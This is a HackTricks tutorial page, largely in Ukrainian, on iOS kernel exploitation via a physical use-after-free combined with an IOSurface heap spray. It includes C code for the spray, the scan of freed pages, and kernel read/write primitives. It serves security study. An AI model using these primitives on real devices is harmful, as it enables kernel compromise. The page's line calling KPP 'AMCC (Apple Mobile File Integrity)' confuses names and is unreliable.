iOS Physical Use After Free via IOSurface

Reading time: 11 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Механізми захисту iOS

  • Code Signing в iOS працює так, що кожен шматок виконуваного коду (apps, libraries, extensions тощо) має бути криптографічно підписаний сертифікатом, виданим Apple. Під час завантаження коду iOS перевіряє цифровий підпис проти довіреного кореня Apple. Якщо підпис недійсний, відсутній або змінений, ОС відмовляється його виконувати. Це перешкоджає зловмисникам інжектити шкідливий код у легітимні додатки або запускати unsigned бінарники, ефективно зриваючи більшість ланцюжків експлойтів, що покладаються на виконання довільного або зміненого коду.
  • CoreTrust — підсистема iOS, яка відповідає за примусове виконання перевірок підпису коду під час runtime. Вона безпосередньо перевіряє підписи, використовуючи кореневий сертифікат Apple, не покладаючись на кешовані сховища довіри, тобто виконуватиметься лише код, підписаний Apple (або з дійсними entitlements). CoreTrust гарантує, що навіть якщо зловмисник модифікує додаток після встановлення, змінює системні бібліотеки або намагається завантажити unsigned код, система заблокує виконання, якщо підпис некоректний. Ця сувора перевірка закриває багато післяексплуатаційних векторів, які старіші версії iOS дозволяли через слабші або обхідні перевірки підпису.
  • Data Execution Prevention (DEP) позначає області пам'яті як невиконувані, якщо вони явно не містять код. Це перешкоджає зловмисникам інжектувати shellcode у області даних (наприклад, stack або heap) і запускати його, змушуючи їх використовувати складніші техніки, як-от ROP (Return-Oriented Programming).
  • ASLR (Address Space Layout Randomization) рандомізує адреси пам'яті для коду, бібліотек, стеку та heap при кожному запуску системи. Це значно ускладнює передбачення розташування корисних інструкцій або гаджетів, руйнуючи багато експлойт-ланцюжків, що залежать від фіксованого розташування пам'яті.
  • KASLR (Kernel ASLR) застосовує той самий принцип рандомізації до ядра iOS. Перетасовування базової адреси ядра при кожному завантаженні ускладнює зловмисникам надійне знаходження функцій або структур ядра, підвищуючи складність експлойтів на рівні ядра, які могли б отримати повний контроль над системою.
  • Kernel Patch Protection (KPP), також відомий як AMCC (Apple Mobile File Integrity) в iOS, постійно моніторить сторінки з кодом ядра, щоб переконатися, що вони не були змінені. Якщо виявлено підтасовку — наприклад, спробу експлойту підправити функції ядра або вставити шкідливий код — пристрій одразу панікує і перезавантажується. Цей захист ускладнює стійкі експлойти ядра, оскільки зловмисник не може просто hook-нути або патчити інструкції ядра без виклику краху системи.
  • Kernel Text Readonly Region (KTRR) — апаратна функція безпеки, представлена на пристроях iOS. Вона використовує контролер пам'яті CPU, щоб зробити секцію коду (text) ядра постійно тільки для читання після завантаження. Після блокування навіть саме ядро не може змінювати цю область пам'яті. Це перешкоджає зловмисникам — і навіть привілейованому коду — патчити інструкції ядра під час виконання, закриваючи важливий клас експлойтів, які покладалися на пряме модифікування коду ядра.
  • Pointer Authentication Codes (PAC) використовують криптографічні підписи, вбудовані в невикористані біти вказівників, щоб перевіряти їх цілісність перед використанням. Коли вказівник (наприклад, адреса повернення або функціональний вказівник) створюється, CPU підписує його секретним ключем; перед роздереференсом CPU перевіряє підпис. Якщо вказівник був змінений, перевірка провалюється і виконання зупиняється. Це перешкоджає підробці або повторному використанню змінених вказівників у вразливостях пам'яті, ускладнюючи техніки типу ROP або JOP.
  • Privilege Access never (PAN) — апаратна функція, яка не дає ядру (режим привілейованого виконання) безпосередньо доступатися до пам'яті користувацького простору, якщо цей доступ явно не дозволено. Це зупиняє зловмисників, які отримали виконання коду в ядрі, від простого читання або запису в пам'ять користувача для ескалації привілеїв або крадіжки чутливих даних. Суворе розмежування зменшує вплив експлойтів ядра і блокує багато типових технік ескалації привілеїв.
  • Page Protection Layer (PPL) — механізм безпеки iOS, що захищає критичні області пам'яті, якими керує ядро, особливо ті, що пов'язані з підписом коду та entitlements. Він запроваджує суворі захисти від запису за допомогою MMU і додаткових перевірок, забезпечуючи, що навіть привілейований код ядра не може довільно змінювати чутливі сторінки. Це заважає зловмисникам, які отримали виконання в ядрі, підмінювати структури, критичні для безпеки, ускладнюючи стійкість та обхід підписів коду.

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Управління пам'яттю в XNU

Virtual memory address space для user-процесів в iOS охоплює діапазон від 0x0 до 0x8000000000. Проте ці віртуальні адреси не відображаються безпосередньо на фізичну пам'ять. Замість цього kernel використовує page tables для трансляції віртуальних адрес у фактичні physical addresses.

Рівні таблиць сторінок в iOS

Таблиці сторінок організовані ієрархічно у три рівні:

  1. L1 Page Table (Level 1):
  • Кожен запис тут представляє великий діапазон віртуальної пам'яті.
  • Він охоплює 0x1000000000 байт (або 256 GB) віртуальної пам'яті.
  1. L2 Page Table (Level 2):
  • Запис тут представляє меншу область віртуальної пам'яті, зокрема 0x2000000 байт (32 MB).
  • Запис L1 може вказувати на таблицю L2, якщо він не може замапити увесь регіон самостійно.
  1. L3 Page Table (Level 3):
  • Це найдрібніший рівень, де кожен запис відображає одну сторінку розміром 4 KB.
  • Запис L2 може вказувати на таблицю L3, якщо потрібен більш тонкий контроль.

Як відбувається відображення віртуальної пам'яті на фізичну

  • Direct Mapping (Block Mapping):
    • Деякі записи в таблиці сторінок безпосередньо маплять діапазон віртуальних адрес на суміжний діапазон фізичних адрес (ніби скорочення).
  • Pointer to Child Page Table:
    • Якщо потрібен більш тонкий контроль, запис на одному рівні (наприклад, L1) може вказувати на дочірню таблицю сторінок на наступному рівні (наприклад, L2).

Приклад: відображення віртуальної адреси

Припустимо, ви намагаєтесь звернутися до віртуальної адреси 0x1000000000:

  1. L1 Table:
  • Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він містить вказівник на L2 page table, воно переходить до тієї L2 таблиці.
  1. L2 Table:
  • Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на L3 page table, воно йде туди.
  1. L3 Table:
  • Ядро дивиться на фінальний запис L3, який вказує на physical address фактичної сторінки пам'яті.

Приклад відображення адрес

Якщо ви запишете фізичну адресу 0x800004000 в перший індекс таблиці L2, то:

  • Віртуальні адреси від 0x1000000000 до 0x1002000000 відобразяться на фізичні адреси від 0x800004000 до 0x802004000.
  • Це — block mapping на рівні L2.

Альтернативно, якщо запис L2 вказує на таблицю L3:

  • Кожна сторінка по 4 KB у віртуальному діапазоні 0x1000000000 -> 0x1002000000 буде відображена окремими записами в таблиці L3.

Physical use-after-free

A physical use-after-free (UAF) відбувається коли:

  1. Процес виділяє певну пам'ять як читабельну і записувану.
  2. Page tables оновлюються, щоб замапити цю пам'ять на конкретну фізичну адресу, до якої процес має доступ.
  3. Процес деалокує (звільняє) цю пам'ять.
  4. Проте через баг ядро забуває видалити відображення з таблиць сторінок, хоча відповідну фізичну пам'ять позначено як вільну.
  5. Ядро може потім переалокувати цю "звільнену" фізичну пам'ять для інших цілей, наприклад для kernel data.
  6. Оскільки відображення не було видалено, процес все ще може читати і записувати цю фізичну пам'ять.

Це означає, що процес може звертатися до сторінок пам'яті ядра, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику маніпулювати пам'яттю ядра.

IOSurface Heap Spray

Оскільки атакуючий не може контролювати, які саме сторінки ядра будуть виділені на звільнену пам'ять, використовується техніка, відома як heap spray:

  1. Атакуючий створює велику кількість об'єктів IOSurface в пам'яті ядра.
  2. Кожен об'єкт IOSurface містить magic value в одному зі своїх полів, що дозволяє його легко ідентифікувати.
  3. Вони сканують звільнені сторінки, щоб перевірити, чи якийсь із цих об'єктів IOSurface опинився на звільненій сторінці.
  4. Коли знаходять об'єкт IOSurface на звільненій сторінці, його можна використати для читання і запису пам'яті ядра.

Більше інформації про це в https://github.com/felix-pb/kfd/tree/main/writeups

tip

Зверніть увагу, що пристрої iOS 16+ (A12+) мають апаратні пом'якшення (наприклад, PPL або SPTM), які значно зменшують життєздатність технік physical UAF. PPL накладає суворі MMU-захисти на сторінки, пов'язані з підписом коду, entitlements та чутливими даними ядра, тож навіть якщо сторінка буде повторно використана, записи з userland або скомпрометованого коду ядра до PPL-захищених сторінок будуть заблоковані. Secure Page Table Monitor (SPTM) розширює PPL, підвищуючи захист оновлень page table самих по собі. Він гарантує, що навіть привілейований код ядра не зможе тихо перемапити звільнені сторінки або підтасувати відображення без проходження через захищені перевірки. KTRR (Kernel Text Read-Only Region) фіксує секцію коду ядра як тільки для читання після завантаження. Це запобігає будь-яким модифікаціям коду ядра під час виконання, закриваючи важливий вектор атаки, на який часто покладаються physical UAF експлойти. Крім того, алокації IOSurface стали менш передбачуваними й складнішими для відображення у user-доступні регіони, що робить трюк зі скануванням за "magic value" значно менш надійним. І IOSurface тепер захищено entitlements та sandbox-обмеженнями.

Покроковий процес Heap Spray

  1. Spray IOSurface Objects: атакуючий створює багато об'єктів IOSurface з спеціальним ідентифікатором ("magic value").
  2. Scan Freed Pages: перевіряють, чи якийсь із об'єктів було виділено на звільненій сторінці.
  3. Read/Write Kernel Memory: маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати довільні читання і записи в пам'яті ядра. Це дозволяє:
  • Використати одне поле, щоб прочитати будь-яке 32-бітне значення в пам'яті ядра.
  • Використати інше поле, щоб записати 64-бітні значення, досягаючи стабільного kernel read/write primitive.

Створіть об'єкти IOSurface з магічним значенням IOSURFACE_MAGIC для подальшого пошуку:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Шукайте об'єкти IOSurface в одній звільненій фізичній сторінці:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Досягнення Kernel Read/Write з IOSurface

Після отримання контролю над об'єктом IOSurface у kernel memory (mapped to a freed physical page, доступному з userspace), можна використовувати його для arbitrary kernel read and write operations.

Ключові поля в IOSurface

Об'єкт IOSurface має два критичних поля:

  1. Use Count Pointer: Дозволяє 32-bit read.
  2. Indexed Timestamp Pointer: Дозволяє 64-bit write.

Перезаписавши ці pointers, ми перенаправляємо їх на довільні адреси в kernel memory, що дозволяє виконувати read/write.

32-Bit Kernel Read

Щоб виконати читання:

  1. Перезапишіть use count pointer, щоб він вказував на цільову адресу мінус офсет 0x14 байт.
  2. Використайте метод get_use_count, щоб прочитати значення за цією адресою.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Щоб виконати запис:

  1. Перезапишіть indexed timestamp pointer на цільову адресу.
  2. Використайте метод set_indexed_timestamp, щоб записати 64-бітне значення.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Flow Recap

  1. Trigger Physical Use-After-Free: Вивільнені сторінки стають доступними для повторного використання.
  2. Spray IOSurface Objects: Виділіть багато об'єктів IOSurface з унікальним "magic value" у kernel memory.
  3. Identify Accessible IOSurface: Знайдіть IOSurface на звільненій сторінці, яку ви контролюєте.
  4. Abuse Use-After-Free: Змініть вказівники в об'єкті IOSurface, щоб отримати довільні kernel read/write через методи IOSurface.

З цими примітивами експлойт надає контрольовані 32-bit reads та 64-bit writes у kernel memory. Подальші кроки для jailbreak можуть включати більш стабільні read/write primitives, що може вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks